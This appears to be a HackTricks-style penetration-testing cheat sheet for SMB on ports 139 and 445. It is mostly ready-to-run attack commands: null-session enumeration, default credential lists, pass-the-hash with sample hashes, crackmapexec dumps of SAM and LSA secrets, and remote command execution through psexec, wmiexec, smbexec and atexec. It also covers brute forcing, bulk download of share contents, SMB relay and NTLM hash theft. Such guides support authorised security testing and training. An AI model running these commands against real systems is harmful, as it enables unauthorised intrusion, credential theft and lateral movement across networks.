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139,445 - Pentesting SMB

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Port 139

NetBIOS stands for Network Basic Input Output System. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over TCP Port 139. (extracted from here)

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** (extracted from here)

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network. The main application area of the protocol has been the Windows operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that devices with newer editions can easily communicate with devices that have an older Microsoft operating system installed.
With the free software project Samba, there is also a solution that enables the use of SMB in Linux and Unix distributions and thus cross-platform communication via SMB.

An SMB server can provide arbitrary parts of its local file system as shares. Therefore the hierarchy visible to a client is partially independent of the structure on the server. Access rights are defined by Access Control Lists (ACL). They can be controlled in a fine-grained manner based on attributes such as execute, read, and full access for individual users or user groups. The ACLs are defined based on the shares and therefore do not correspond to the rights assigned locally on the server.

IPC$ share

From book Network Security Assessment 3rd edition

With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:

  • Operating system information
  • Details of the parent domain
  • A list of local users and groups
  • Details of available SMB shares
  • The effective system security policy

What is NTLM

If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about NTLM where is explained how this protocol works and how you can take advantage of it:

{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}

Server Enumeration

Scan a network searching for hosts:

nbtscan -r 192.168.0.1/24

SMB server version

To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:

  • Use the MSF auxiliary module _auxiliary/scanner/smb/smb_version
  • Or this script:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Search exploit

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Possible Credentials

Username(s) Common passwords
(blank) (blank)
guest (blank)
Administrator, admin (blank), password, administrator, admin
arcserve arcserve, backup
tivoli, tmersrvd tivoli, tmersrvd, admin
backupexec, backup backupexec, backup, arcada
test, lab, demo password, test, lab, demo

SMB Environment Information

Obtain Information

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Enumerate Users, Groups & Logged On Users

This info should already being gathered from enum4linux and enum4linux-ng

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

Enumerate local users

Impacket

lookupsid.py -no-pass hostname.local

Oneliner

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Enumerate local users

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Enumerating LSARPC and SAMR rpcclient

{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}

GUI connection from linux

In the terminal:

xdg-open smb://cascade.htb/

In file browser window (nautilus, thunar, etc)

smb://friendzone.htb/general/

Shared Folders Enumeration

List shared folders

It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

Connect/List a shared folder

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Manually enumerate windows shares and connect to them

It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.

Common share names for windows targets are

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(Common share names from Network Security Assessment 3rd edition)

You can try to connect to them by using the following command

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

or this script (using a null session)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
    output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') 

    if [[ -z $output ]]; then 
        echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
    else
        echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
    fi
done

examples

smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Enumerate shares from Windows / without third-party tools

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD console

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC Snap-in (graphical)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (graphical), enter \\<ip>\ to see the available non-hidden shares.

Mount a shared folder

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Download files

Read previous sections to learn how to connect with credentials/Pass-the-Hash.

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap

#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Commands:

  • mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
  • recurse: toggles recursion on (default: off)
  • prompt: toggles prompting for filenames off (default: on)
  • mget: copies all files matching the mask from host to client machine

(Information from the manpage of smbclient)

Domain Shared Folders Search

Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec spider.
    • -M spider_plus [--share <share_name>]
    • --pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Specially interesting from shares are the files called Registry.xml as they may contain passwords for users configured with autologon via Group Policy. Or web.config files as they contains credentials.

{% hint style="info" %} The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts.
You should check the scripts inside of it as you might find sensitive info such as passwords. {% endhint %}

Read Registry

You may be able to read the registry using some discovered credentials. Impacket reg.py allows you to try:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

The default config of a Samba server is usually located in /etc/samba/smb.conf and might have some dangerous configs:

Setting Description
browseable = yes Allow listing available shares in the current share?
read only = no Forbid the creation and modification of files?
writable = yes Allow users to create and modify files?
guest ok = yes Allow connecting to the service without using a password?
enable privileges = yes Honor privileges assigned to specific SID?
create mask = 0777 What permissions must be assigned to the newly created files?
directory mask = 0777 What permissions must be assigned to the newly created directories?
logon script = script.sh What script needs to be executed on the user's login?
magic script = script.sh Which script should be executed when the script gets closed?
magic output = script.out Where the output of the magic script needs to be stored?

The command smbstatus gives information about the server and about who is connected.

Authenticate using Kerberos

You can authenticate to kerberos using the tools smbclient and rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Execute Commands

crackmapexec

crackmapexec can execute commands abusing any of mmcexec, smbexec, atexec, wmiexec being wmiexec the default method. You can indicate which option you prefer to use with the parameter --exec-method:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
More info about psexec and smbexec.
In kali it is located on /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Using parameter-k you can authenticate against kerberos instead of NTLM

wmiexec/dcomexec

Stealthily execute a command shell without touching the disk or running a new service using DCOM via port 135.
In kali it is located on /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Using parameter-k you can authenticate against kerberos instead of NTLM

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Execute commands via the Task Scheduler (using \pipe\atsvc via SMB).
In kali it is located on /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket reference

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

Bruteforce users credentials

This is not recommended, you could block an account if you exceed the maximum allowed tries

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell.
More information about this attack here.

SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: img src="\\10.10.10.10\path\image.jpg"

This happens with the functions:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap using MitMf

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM Theft

Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an SMB relay attack.

See: ntlm_theft

HackTricks Automatic Commands

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for SMB
  Note: |
    While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

    #These are the commands I run in order every time I see an open SMB port

    With No Creds
    nbtscan {IP}
    smbmap -H {IP}
    smbmap -H {IP} -u null -p null
    smbmap -H {IP} -u guest
    smbclient -N -L //{IP}
    smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
    rpcclient {IP}
    rpcclient -U "" {IP}
    crackmapexec smb {IP}
    crackmapexec smb {IP} --pass-pol -u "" -p ""
    crackmapexec smb {IP} --pass-pol -u "guest" -p ""
    GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
    GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
    GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
    getArch.py -target {IP}

    With Creds
    smbmap -H {IP} -u {Username} -p {Password}
    smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
    smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
    crackmapexec smb {IP} -u {Username} -p {Password} --shares
    GetADUsers.py {Domain_Name}/{Username}:{Password} -all
    GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
    GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

    https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
  Name: Enum4Linux
  Description: General SMB Scan
  Command: enum4linux -a {IP}

Entry_3:
  Name: Nmap SMB Scan 1
  Description: SMB Vuln Scan With Nmap
  Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
  Name: Nmap Smb Scan 2
  Description: SMB Vuln Scan With Nmap (Less Specific)
  Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
  Name: Hydra Brute Force
  Description: Need User
  Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
  
Entry_6:
  Name: SMB/SMB2 139/445 consolesless mfs enumeration
  Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
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